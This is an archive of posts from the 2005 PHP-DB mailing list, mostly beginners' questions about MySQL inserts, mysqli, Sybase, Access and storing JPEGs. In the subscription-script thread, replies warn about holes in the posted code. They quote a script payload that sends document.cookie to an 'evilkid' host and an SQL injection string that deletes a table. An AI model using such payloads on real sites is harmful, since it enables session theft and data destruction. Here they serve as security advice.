[PHP-DB] insert (database)
the objective of the script below is to first search if a subscriber is already in a list before subscribing his email (so as to prevent double subscription). the select part works finebut the insert doesnt. know why? if ($v = strtolower($_POST['email'])) { $db = mysql_connect(mysql, usser, pw); $con = mysql_select_db(ng,$db); $sql = SELECT * FROM mytable WHERE email='$v'; $res = mysql_query( $sql ) ; if ($row = mysql_fetch_array($res)) { echo bYour email: u$v/u already in the listbr; } else { $sql_in = INSERT INTO arcadia ('email') VALUES ('$v'); $result_in = mysql_query($sql_in); echo bYour email: u$v/u subscribed!br; } } else { include(index.php); exit; } - A passion till tomorrow, Opeyemi Obembe | ng.clawz.com - Do you Yahoo!? Yahoo! Search presents - Jib Jab's 'Second Term'
[PHP-DB] flush()
I dont seem to understand the description for flush() in thew php websitehope someboody can tell me what it is really about. - A passion till tomorrow, Opeyemi Obembe | ng.clawz.com - Do you Yahoo!? Yahoo! Search presents - Jib Jab's 'Second Term'
Re: [PHP-DB] insert (database)
Yemi Obembe wrote: the objective of the script below is to first search if a subscriber is already in a list before subscribing his email (so as to prevent double subscription). the select part works finebut the insert doesnt. know why? if ($v = strtolower($_POST['email'])) { what happens when $_POST['email'] is equal to 'script document.location = http://www.evilkid.net/?stolencookie+document.cookie; /script'; or something like that? Just something to think about. $db = mysql_connect(mysql, usser, pw); $con = mysql_select_db(ng,$db); $sql = SELECT * FROM mytable WHERE email='$v'; $res = mysql_query( $sql ) ; if ($row = mysql_fetch_array($res)) { echo bYour email: u$v/u already in the listbr; } else { $sql_in = INSERT INTO arcadia ('email') VALUES ('$v'); $result_in = mysql_query($sql_in); echo bYour email: u$v/u subscribed!br; you use different table names in each query. is that the intention? } } else { include(index.php); exit; } - A passion till tomorrow, Opeyemi Obembe | ng.clawz.com - Do you Yahoo!? Yahoo! Search presents - Jib Jab's 'Second Term' -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DB] database connectivity problem
Thanks Martin... You were right... I had to make Apache run as sybase (gasp!) for it to work really funky but it works... -Original Message- From: Martin Norland [mailto:[EMAIL PROTECTED] Sent: Tuesday, February 01, 2005 3:53 PM To: 'php-db@lists.php.net' Cc: 'php-db@lists.php.net' Subject: Re: [PHP-DB] database connectivity problem Adams, Jonathan K. [C] wrote: Here is the error: Warning: sybase_connect() [function.sybase-connect]: Sybase: Unable to allocate connection record My configuration - The database is Sybase ASE 12.0 running on Solaris 8 The webserver is Apache 1.3.33 with PHP 5 running Solaris 9 The sybase libraries are shared via NFS, which is how I built the apache Well, that error certainly doesn't look like it can't see the libraries - it looks more like it can't write somewhere. Are you sure there is sufficient memory for the script [perhaps increase memory_limit in php.ini], and that wherever php might need to store the connection record externally (if applicable) is writable? Unfortunately - you may not be alone: http://bugs.php.net/bug.php?id=30721 http://bugs.php.net/bug.php?id=17489 Cheers, -- - Martin Norland, Database / Web Developer, International Outreach x3257 The opinion(s) contained within this email do not necessarily represent those of St. Jude Children's Research Hospital. -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DB] Programmer required
I'm looking for a programmer, preferably in London or UK, who has been maybe out of work for a few years, to discuss an easy project with. Pass the request on to your friends. John -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DB] insert (database)
try if (mysql_num_rows($res)0) { echo bYour email: u$v/u already in the listbr; } else { $sql_in = INSERT INTO arcadia ('email') VALUES ('$v'); $result_in = mysql_query($sql_in); echo bYour email: u$v/u subscribed!br; } } else { include(index.php); exit; } bastien From: Yemi Obembe [EMAIL PROTECTED] To: php-db@lists.php.net Subject: [PHP-DB] insert (database) Date: Wed, 2 Feb 2005 01:23:16 -0800 (PST) the objective of the script below is to first search if a subscriber is already in a list before subscribing his email (so as to prevent double subscription). the select part works finebut the insert doesnt. know why? if ($v = strtolower($_POST['email'])) { $db = mysql_connect(mysql, usser, pw); $con = mysql_select_db(ng,$db); $sql = SELECT * FROM mytable WHERE email='$v'; $res = mysql_query( $sql ) ; if ($row = mysql_fetch_array($res)) { echo bYour email: u$v/u already in the listbr; } else { $sql_in = INSERT INTO arcadia ('email') VALUES ('$v'); $result_in = mysql_query($sql_in); echo bYour email: u$v/u subscribed!br; } } else { include(index.php); exit; } - A passion till tomorrow, Opeyemi Obembe | ng.clawz.com - Do you Yahoo!? Yahoo! Search presents - Jib Jab's 'Second Term' -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] Best way to remove slashes?
It looks like you might be running addslashes multiple times, which means you would need to run stripslashes multiple times. This usually happens when you run addslashes on the data before entering into the database, but also have magic quotes enabled (which does the same thing). Use get_magic_quotes_gpc to test if magic quotes if enabled before running your own addslashes, or just turn off magic quotes. Otherwise run stripslashes a few times (kind of messy). On Feb 1, 2005, at 6:28 PM, Chris Payne wrote: Hi there everyone, Whats the best way to remove slashes to stop the following from being output from a string: City = HYPERLINK file:///\\'Alliance\'Alliance\\\' Say the string is called $city, I tried the following: Stripslashes($city); but it didnt seem to work? Chris -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.300 / Virus Database: 265.8.4 - Release Date: 2/1/2005 -- Brent Baisley Systems Architect Landover Associates, Inc. Search Advisory Services for Advanced Technology Environments p: 212.759.6400/800.759.0577 -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] database connectivity problem
Adams, Jonathan K. [C] wrote: Thanks Martin... You were right... I had to make Apache run as sybase (gasp!) for it to work really funky but it works... Probably better to figure out where the permissions are needed (no doubt somewhere in the filesystem) and see about adding one or the other to the group. suExec might also be of some worth. I'm sure there are solutions other than running apache as user sybase. Still - glad it's working for you at least! Cheers, -- - Martin Norland, Database / Web Developer, International Outreach x3257 The opinion(s) contained within this email do not necessarily represent those of St. Jude Children's Research Hospital. -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] Programmer required
This is waaay off topic, but: I hope you mean retired, who will presumably work for less. Why would you want one who's not current? Just wondering - Miles At 09:47 AM 2/2/2005, ioannes wrote: I'm looking for a programmer, preferably in London or UK, who has been maybe out of work for a few years, to discuss an easy project with. Pass the request on to your friends. John -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] insert (database)
Jochem Maas wrote: Yemi Obembe wrote: the objective of the script below is to first search if a subscriber is already in a list before subscribing his email (so as to prevent double subscription). the select part works finebut the insert doesnt. know why? if ($v = strtolower($_POST['email'])) { what happens when $_POST['email'] is equal to 'script document.location = http://www.evilkid.net/?stolencookie+document.cookie; /script'; or something like that? Just something to think about. Then the malicious user gets to send their own cookies for this site to another site of their choosing :P. I would be more worried about it being equal to things like: Spam my Enemy [EMAIL PROTECTED] + Spam my Enemy also [EMAIL PROTECTED] + etc. or \r\nFrom: Idiots Inc. [EMAIL PROTECTED] or '; Delete from arbitrary_table_name where 'yes'='yes All of which are easily prevented with some attention to detail. (or in some cases newer versions of software, which explicitly allow only one statement per call). Finally - the concept of bind variables (or equivalent) are your friend (as Jochem already knows with firebird iirc). Cheers, -- - Martin Norland, Database / Web Developer, International Outreach x3257 The opinion(s) contained within this email do not necessarily represent those of St. Jude Children's Research Hospital. -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] Programmer required
Miles Thompson wrote: This is waaay off topic, but: I hope you mean retired, who will presumably work for less. Why would you want one who's not current? Just wondering - Miles At 09:47 AM 2/2/2005, ioannes wrote: I'm looking for a programmer, preferably in London or UK, who has been maybe out of work for a few years, to discuss an easy project with. Pass the request on to your friends. John -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php I believe the intention of asking for someone who's been out of work for a few years, was to find someone desperate - perhaps they've proposed this project multiple times and nobody wants to touch it :) I didn't know you could say off topic on this list... guess you just can't say its abbreviated form in the subject or - ah heck, who knows. Cheers, -- - Martin Norland, Database / Web Developer, International Outreach x3257 The opinion(s) contained within this email do not necessarily represent those of St. Jude Children's Research Hospital. -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] Programmer required
At 11:10 AM 2/2/2005, Martin Norland wrote: Miles Thompson wrote: This is waaay off topic, but: I hope you mean retired, who will presumably work for less. Why would you want one who's not current? Just wondering - Miles At 09:47 AM 2/2/2005, ioannes wrote: I'm looking for a programmer, preferably in London or UK, who has been maybe out of work for a few years, to discuss an easy project with. Pass the request on to your friends. John -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php I believe the intention of asking for someone who's been out of work for a few years, was to find someone desperate - perhaps they've proposed this project multiple times and nobody wants to touch it :) I didn't know you could say off topic on this list... guess you just can't say its abbreviated form in the subject or - ah heck, who knows. Cheers, -- - Martin Norland, Database / Web Developer, International Outreach x3257 The opinion(s) contained within this email do not necessarily represent those of St. Jude Children's Research Hospital. Martin, a) Never thought of the nobody wants to touch angle -- seen some of those. b) Maybe there's also a won't pay properly aspect at work here. Miles -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DB] Connecting To Mysql through php/mysqli
I am getting the gollowing error message: PHP Warning: mysqli_select_db() expects parameter 1 to be mysqli, string given in C:\Apache Group\Apache2\htdocs\PHP\_debug_tmp.php on line 5 PHP Fatal error: Call to undefined function mysqli_quesry() in C:\Apache Group\Apache2\htdocs\PHP\_debug_tmp.php on line 9 With the following code: 1?php 2//in order to connect 3$conn = mysqli_connect(localhost,root,67568); 4//inorder to designate database 5mysqli_select_db(php_example, $conn); 6 7//creating a table 8$sql = CREATE TABLE inventory (id int not null primary key auto_increment, item varchar(75)); 9$result = mysqli_query($sql, $conn); 10echo $result; 11? I am a total noob and am trying to copy this right out of a book (except the mysqli part which i had to struggle through on my own). I am using MySql 4.1.8 and PHP5 on Apache 2.0 server. Any help would be great. Thank you, jozef -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DB] Update time/date stamp
I would like to print the date and time my database was last updated but don't know the query for that. Ilooked at several websites that list MySQL variables but didn't find any that seemed to be what I want. Can anyone help? Thanks. --- Pete Holsberg Columbus, NJ --- When the people are afraid of the government, that's tyranny. But when the government is afraid of the people, that's liberty. -- Thomas Jefferson -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DB] Update time/date stamp
any particular table? or just the db in general? bastien From: Pete Holsberg [EMAIL PROTECTED] To: php-db@lists.php.net Subject: [PHP-DB] Update time/date stamp Date: Wed, 2 Feb 2005 10:56:08 -0500 (EST) I would like to print the date and time my database was last updated but don't know the query for that. Ilooked at several websites that list MySQL variables but didn't find any that seemed to be what I want. Can anyone help? Thanks. --- Pete Holsberg Columbus, NJ --- When the people are afraid of the government, that's tyranny. But when the government is afraid of the people, that's liberty. -- Thomas Jefferson -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DB] Connecting To Mysql through php/mysqli
mysqli_select_db progblem is that the arguements are reversed, should be $link, $dbname the second error is a misspelling in the mysqli_query command bastien From: J. Connolly [EMAIL PROTECTED] To: PHP list php-db@lists.php.net Subject: [PHP-DB] Connecting To Mysql through php/mysqli Date: Wed, 02 Feb 2005 10:39:37 -0500 I am getting the gollowing error message: PHP Warning: mysqli_select_db() expects parameter 1 to be mysqli, string given in C:\Apache Group\Apache2\htdocs\PHP\_debug_tmp.php on line 5 PHP Fatal error: Call to undefined function mysqli_quesry() in C:\Apache Group\Apache2\htdocs\PHP\_debug_tmp.php on line 9 With the following code: 1?php 2//in order to connect 3$conn = mysqli_connect(localhost,root,67568); 4//inorder to designate database 5mysqli_select_db(php_example, $conn); 6 7//creating a table 8$sql = CREATE TABLE inventory (id int not null primary key auto_increment, item varchar(75)); 9$result = mysqli_query($sql, $conn); 10echo $result; 11? I am a total noob and am trying to copy this right out of a book (except the mysqli part which i had to struggle through on my own). I am using MySql 4.1.8 and PHP5 on Apache 2.0 server. Any help would be great. Thank you, jozef -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DB] php cannot find mysql libs and includes after portupgrade
FreeBSD 5.2.1 and portupgraded mysql-client and server to 4.0.23a. Then portupgrade -f lang/php4 and databases/php4-mysql. After this phpinfo() and any php application using mysql no longer finds the include and lib dirs and do not work. From phpinfo(): snip extension_dir = /usr/local/lib/php/20020429 = /usr/local/lib/php/20020429 snip mysql MySQL Support = enabled Active Persistent Links = 0 Active Links = 0 Client API version = 4.0.23a MYSQL_MODULE_TYPE = none MYSQL_SOCKET = /tmp/mysql.sock MYSQL_INCLUDE = MYSQL_LIBS = but: # ldd /usr/local/lib/php/20020429/mysql.so /usr/local/lib/php/20020429/mysql.so: libmysqlclient.so.12 = /usr/local/lib/mysql/libmysqlclient.so.12 (0x2815b000) libz.so.2 = /lib/libz.so.2 (0x2817e000) libcrypt.so.2 = /lib/libcrypt.so.2 (0x2818c000) libm.so.2 = /lib/libm.so.2 (0x281a5000) mysql client itself connects without any problem, just php applications cannot. Any ideas? Has anyone else come across this? Sven -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DB] Access
Hay, I was just wondering if any of you had any links to websites that explained php programming with Access databases. Thanks in advance, Darryl
RE: [PHP-DB] Connecting To Mysql through php/mysqli
Thank you Bastian, I found that the two variables were reversed right when your answer came in. The book i got is horrible. -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DB] Access
use the ODBC functions in php bastien From: Darryl [EMAIL PROTECTED] To: php-db@lists.php.net Subject: [PHP-DB] Access Date: Wed, 2 Feb 2005 19:49:47 +0200 Hay, I was just wondering if any of you had any links to websites that explained php programming with Access databases. Thanks in advance, Darryl -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DB] Re: php cannot find mysql libs and includes after portupgrade
On Wed, 2005-02-02 at 11:55 -0500, Sven Willenberger wrote: FreeBSD 5.2.1 and portupgraded mysql-client and server to 4.0.23a. Then portupgrade -f lang/php4 and databases/php4-mysql. After this phpinfo() and any php application using mysql no longer finds the include and lib dirs and do not work. I found that downloading 4.3.9 and compiling from scratch (no ports system) and building all the modules from scratch (no php-extensions) solved the issue. Interestingly, building 4.3.10 from scratch did result in the proper paths being found but no php scripts using mysql would work. 4.3.9 on the other hand works fine. Not sure if this is an issue with the ports/FreeBSD 5.3 version, or with php 4.3.10 but for now issue solved/worked around. Sven -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DB] Update time/date stamp
On Wed, 2 Feb 2005, Bastien Koert wrote: any particular table? or just the db in general? It has just one table. --- Pete Holsberg Columbus, NJ --- When the people are afraid of the government, that's tyranny. But when the government is afraid of the people, that's liberty. -- Thomas Jefferson -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DB] Update time/date stamp
is there a timestamp or data time field in the table? If so just quuery that field for the max value select max(dateTimeFieldName) from TableName bastien From: Pete Holsberg [EMAIL PROTECTED] To: Bastien Koert [EMAIL PROTECTED] CC: php-db@lists.php.net Subject: RE: [PHP-DB] Update time/date stamp Date: Wed, 2 Feb 2005 13:57:50 -0500 (EST) On Wed, 2 Feb 2005, Bastien Koert wrote: any particular table? or just the db in general? It has just one table. --- Pete Holsberg Columbus, NJ --- When the people are afraid of the government, that's tyranny. But when the government is afraid of the people, that's liberty. -- Thomas Jefferson -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DB] Update time/date stamp
On Wed, 2 Feb 2005, Bastien Koert wrote: is there a timestamp or data time field in the table? If so just quuery that field for the max value select max(dateTimeFieldName) from TableName No there isn't. When I view the table with phpMyAdmin, it displays a table that includes time/date stamps for creation, last updated and last checked. Thanks. --- Pete Holsberg Columbus, NJ --- When the people are afraid of the government, that's tyranny. But when the government is afraid of the people, that's liberty. -- Thomas Jefferson -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] Access
You have 3 options. Option 1: Use PHP's native odbc extension. This option is limited, and only works on @in32 platforms. Option 3: Use PHP's COM support. This option only works on @In32 platforms, and does not follow the function paradigm of PHP's database extensions. Example code: http://aspn.activestate.com/ASPN/Cookbook/PHP/Recipe/163447 Option 3: Use the ODBTP extension, available at http://odbtp.sourceforge.net. This options allows you to remotely connect to an Access database from any platform. It provides the best support for MS Access. Here is an example of how to use ODBTP to call a MS Accesss stored query: http://odbtp.sourceforge.net/storedqry_php.html Note: All of these options are supported by PEAR DB. -- bob On Wed, 2 Feb 2005, Darryl wrote: Hay, I was just wondering if any of you had any links to websites that explained php programming with Access databases. Thanks in advance, Darryl -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DB] Update time/date stamp
so select max(last_updated) bastien From: Pete Holsberg [EMAIL PROTECTED] To: php-db@lists.php.net Subject: RE: [PHP-DB] Update time/date stamp Date: Wed, 2 Feb 2005 14:06:35 -0500 (EST) On Wed, 2 Feb 2005, Bastien Koert wrote: is there a timestamp or data time field in the table? If so just quuery that field for the max value select max(dateTimeFieldName) from TableName No there isn't. When I view the table with phpMyAdmin, it displays a table that includes time/date stamps for creation, last updated and last checked. Thanks. --- Pete Holsberg Columbus, NJ --- When the people are afraid of the government, that's tyranny. But when the government is afraid of the people, that's liberty. -- Thomas Jefferson -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DB] Update time/date stamp
On Wed, 2 Feb 2005, Bastien Koert wrote: so select max(last_updated) bastien Error SQL-query : SELECT max( last_updated ) FROM Directory MySQL said: Unknown column 'last_updated' in 'field list' --- I see that I was unclear in my description of what I said. My table is called directory. When I open directory with phpMyAdmin, it displays several tables: 1) the structure of directory 2) Indexes 3) space usage, and 4) row statistic. In the fourth table, it displays the three time-date stamps along with format, number of rows, row length and row size. So the last-updated information is in A table but not the table called directory. Sorry for the confusion. From: Pete Holsberg [EMAIL PROTECTED] To: php-db@lists.php.net Subject: RE: [PHP-DB] Update time/date stamp Date: Wed, 2 Feb 2005 14:06:35 -0500 (EST) On Wed, 2 Feb 2005, Bastien Koert wrote: is there a timestamp or data time field in the table? If so just quuery that field for the max value select max(dateTimeFieldName) from TableName No there isn't. When I view the table with phpMyAdmin, it displays a table that includes time/date stamps for creation, last updated and last checked. Thanks. --- Pete Holsberg Columbus, NJ --- When the people are afraid of the government, that's tyranny. But when the government is afraid of the people, that's liberty. -- Thomas Jefferson -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php --- Pete Holsberg Columbus, NJ --- When the people are afraid of the government, that's tyranny. But when the government is afraid of the people, that's liberty. -- Thomas Jefferson -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DB] Re: Double Inserts
Hi Shri, [EMAIL PROTECTED] (PHPDiscuss - PHP Newsgroups and mailing lists) writes: Hi, I am new to the mailing list and to PHP / MySQL. I am facing an unususal problem. I am trying to insert some data into MySQL DB through via Web. The code is executed OK - no errors but the same record gets inserted TWICE. I have checked the code and simplified it as much as possible and tried test scripts with same results. I have also tried statements to echo messages to ensure the code is not executed twice. It happens with IE as wells as Mozilla so I don't think it is a browser issue. The only clue is that it does not seem to happen on a slower machine (Laptop). The configurations, versions etc are identical - Apache 2.0.49, MySQL 4.1.6-gamma-nt, PHP 5.0.2 Has anyone faced this and found a solution? Please help. Shri I had a similar problem. It was unrelated to PHP or MySQL. Are you using javascript as part of the page? In particular, attaching an event handler to onSubmit event? I had an onSubmit event handler that called this.submit() as part of the routine. I didn't realize that caused the submit to happen twice. The double insert has vanished since. See if your page is getting posted twice for whatever reason. -Peter -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DB] mysql 4.1-4.0
Why is this query handled differently in 4.1? 4.0 select lower(concat(last_name,id)) from client where prim_id=1 returns johnson1 4.1 same query returns Johnson1 Why don't the lower work in 4.1 when you concatonate with a number? Thanks! -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] mysql 4.1-4.0
blackwater dev wrote: Why is this query handled differently in 4.1? 4.0 select lower(concat(last_name,id)) from client where prim_id=1 returns johnson1 4.1 same query returns Johnson1 Why don't the lower work in 4.1 when you concatonate with a number? No idea. select concat(lower(last_name),id) from client where prim_id=1; Cheers, -- - Martin Norland, Database / Web Developer, International Outreach x3257 The opinion(s) contained within this email do not necessarily represent those of St. Jude Children's Research Hospital. -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] mysql 4.1-4.0
yeah, that is what I did to fix it...just curious why the problem was there in the first place. On Wed, 02 Feb 2005 14:40:55 -0600, Martin Norland [EMAIL PROTECTED] wrote: blackwater dev wrote: Why is this query handled differently in 4.1? 4.0 select lower(concat(last_name,id)) from client where prim_id=1 returns johnson1 4.1 same query returns Johnson1 Why don't the lower work in 4.1 when you concatonate with a number? No idea. select concat(lower(last_name),id) from client where prim_id=1; Cheers, -- - Martin Norland, Database / Web Developer, International Outreach x3257 The opinion(s) contained within this email do not necessarily represent those of St. Jude Children's Research Hospital. -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DB] Update time/date stamp
'show table status' will return a record set that you can parse to get the last update time bastien From: Pete Holsberg [EMAIL PROTECTED] To: php-db@lists.php.net Subject: RE: [PHP-DB] Update time/date stamp Date: Wed, 2 Feb 2005 15:00:34 -0500 (EST) On Wed, 2 Feb 2005, Bastien Koert wrote: so select max(last_updated) bastien Error SQL-query : SELECT max( last_updated ) FROM Directory MySQL said: Unknown column 'last_updated' in 'field list' --- I see that I was unclear in my description of what I said. My table is called directory. When I open directory with phpMyAdmin, it displays several tables: 1) the structure of directory 2) Indexes 3) space usage, and 4) row statistic. In the fourth table, it displays the three time-date stamps along with format, number of rows, row length and row size. So the last-updated information is in A table but not the table called directory. Sorry for the confusion. From: Pete Holsberg [EMAIL PROTECTED] To: php-db@lists.php.net Subject: RE: [PHP-DB] Update time/date stamp Date: Wed, 2 Feb 2005 14:06:35 -0500 (EST) On Wed, 2 Feb 2005, Bastien Koert wrote: is there a timestamp or data time field in the table? If so just quuery that field for the max value select max(dateTimeFieldName) from TableName No there isn't. When I view the table with phpMyAdmin, it displays a table that includes time/date stamps for creation, last updated and last checked. Thanks. --- Pete Holsberg Columbus, NJ --- When the people are afraid of the government, that's tyranny. But when the government is afraid of the people, that's liberty. -- Thomas Jefferson -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php --- Pete Holsberg Columbus, NJ --- When the people are afraid of the government, that's tyranny. But when the government is afraid of the people, that's liberty. -- Thomas Jefferson -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] mysql 4.1-4.0
precedence of function order may have changed bastien From: blackwater dev [EMAIL PROTECTED] Reply-To: blackwater dev [EMAIL PROTECTED] To: php-db@lists.php.net Subject: Re: [PHP-DB] mysql 4.1-4.0 Date: Wed, 2 Feb 2005 15:46:25 -0500 yeah, that is what I did to fix it...just curious why the problem was there in the first place. On Wed, 02 Feb 2005 14:40:55 -0600, Martin Norland [EMAIL PROTECTED] wrote: blackwater dev wrote: Why is this query handled differently in 4.1? 4.0 select lower(concat(last_name,id)) from client where prim_id=1 returns johnson1 4.1 same query returns Johnson1 Why don't the lower work in 4.1 when you concatonate with a number? No idea. select concat(lower(last_name),id) from client where prim_id=1; Cheers, -- - Martin Norland, Database / Web Developer, International Outreach x3257 The opinion(s) contained within this email do not necessarily represent those of St. Jude Children's Research Hospital. -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DB] mysql 4.1-4.0
try select concat(lower(last_name),id) from client where prim_id=1 bastien From: blackwater dev [EMAIL PROTECTED] Reply-To: blackwater dev [EMAIL PROTECTED] To: php-db@lists.php.net Subject: [PHP-DB] mysql 4.1-4.0 Date: Wed, 2 Feb 2005 15:35:08 -0500 Why is this query handled differently in 4.1? 4.0 select lower(concat(last_name,id)) from client where prim_id=1 returns johnson1 4.1 same query returns Johnson1 Why don't the lower work in 4.1 when you concatonate with a number? Thanks! -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DB] Table from an array?
Hi there everyone Is it possible to create a database table from the first line of a CSV file? What I mean is, how would you create the table columns based on the CSV files columns? This would really help me out, as some times the table column counts change on data I have to import, so it would be nice to have a flexible DB structure rather than a static one. Chris -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.300 / Virus Database: 265.8.4 - Release Date: 2/1/2005
[PHP-DB] Storing JPEGS in MySQL
I'd be grateful if someone could offer me some guidance on where I'm going wrong here, I'm sure I'm 99% of the way there... I want to read in a JPEG from a file upload form (HTML), resize it and store in in a MySQL DB. Then in another script I want to pull it out of the DB and display it. I've had the first script taking the file, resizing it and spitting it out to the browser OK, so it's the bit to do with the DB thats buggy. The field in the DB is of type LONGBLOB. The image is resized like this, and as I say, this far its working fine... imagecopyresampled($image, $contents, 0, 0, 0, 0, $newxsize, $newysize, $orig_x, $orig_y); I then try to put it in the DB by passing the variable $image straight into an SQL query. is that correct? The script executes fine with no errors, and there's something being put in the LONGBLOB field of the DB (Resource ID #3 it says when I look at it). In another script I try to read it out and display it. This second script will be set to the src attribute of the IMG tag. It works like this: //connect to db etc.. $result = mysql_query(select * from campaignpictures where 'picture_id' = 1); if ($row = mysql_fetch_array($result)) { $data = $row['binary_content']; $type = $row['type']; } Header(Content-type: $type); echo $data; The type field is set correctly by the upload script and is image/jpeg Again this script runs without errors but doesnt produce anything. Any help would be appreciated. Thanks Andrew -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] Storing JPEGS in MySQL
On Thursday 03 February 2005 05:59, A Wood wrote: The image is resized like this, and as I say, this far its working fine... imagecopyresampled($image, $contents, 0, 0, 0, 0, $newxsize, $newysize, $orig_x, $orig_y); I then try to put it in the DB by passing the variable $image straight into an SQL query. is that correct? No, $image is the image resource handle ... The script executes fine with no errors, and there's something being put in the LONGBLOB field of the DB (Resource ID #3 it says when I look at it). ... and it this particular case your image resource handle has an ID of 3. What you need is output buffering and imagejpeg(). If you're still stuck check out the umpteen working examples and tutorials available somewhere. The type field is set correctly by the upload script and is image/jpeg Again this script runs without errors but doesnt produce anything. Yep, because you haven't stored anything resembling an image in the DB! -- Jason Wong - Gremlins Associates - www.gremlins.biz Open Source Software Systems Integrators * Web Design Hosting * Internet Intranet Applications Development * -- Search the list archives before you post http://marc.theaimsgroup.com/?l=php-db -- New Year Resolution: Ignore top posted posts -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] Table from an array?
On Thursday 03 February 2005 05:41, Chris Payne wrote: Is it possible to create a database table from the first line of a CSV file? What I mean is, how would you create the table columns based on the CSV files columns? Parse the first line and extract the column names, construct a suitable SQL statement to create table? -- Jason Wong - Gremlins Associates - www.gremlins.biz Open Source Software Systems Integrators * Web Design Hosting * Internet Intranet Applications Development * -- Search the list archives before you post http://marc.theaimsgroup.com/?l=php-db -- New Year Resolution: Ignore top posted posts -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DB] Table from an array?
Sure you could, the trick would be indentifiying the column data types, but perhaps you could put those in column name definition. ie user_id int(10), username varchar(50), etc bastien From: Chris Payne [EMAIL PROTECTED] To: php-db@lists.php.net Subject: [PHP-DB] Table from an array? Date: Wed, 2 Feb 2005 16:41:42 -0500 Hi there everyone Is it possible to create a database table from the first line of a CSV file? What I mean is, how would you create the table columns based on the CSV files columns? This would really help me out, as some times the table column counts change on data I have to import, so it would be nice to have a flexible DB structure rather than a static one. Chris -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.300 / Virus Database: 265.8.4 - Release Date: 2/1/2005 -- PHP Database Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DB] Storing JPEGS in MySQL
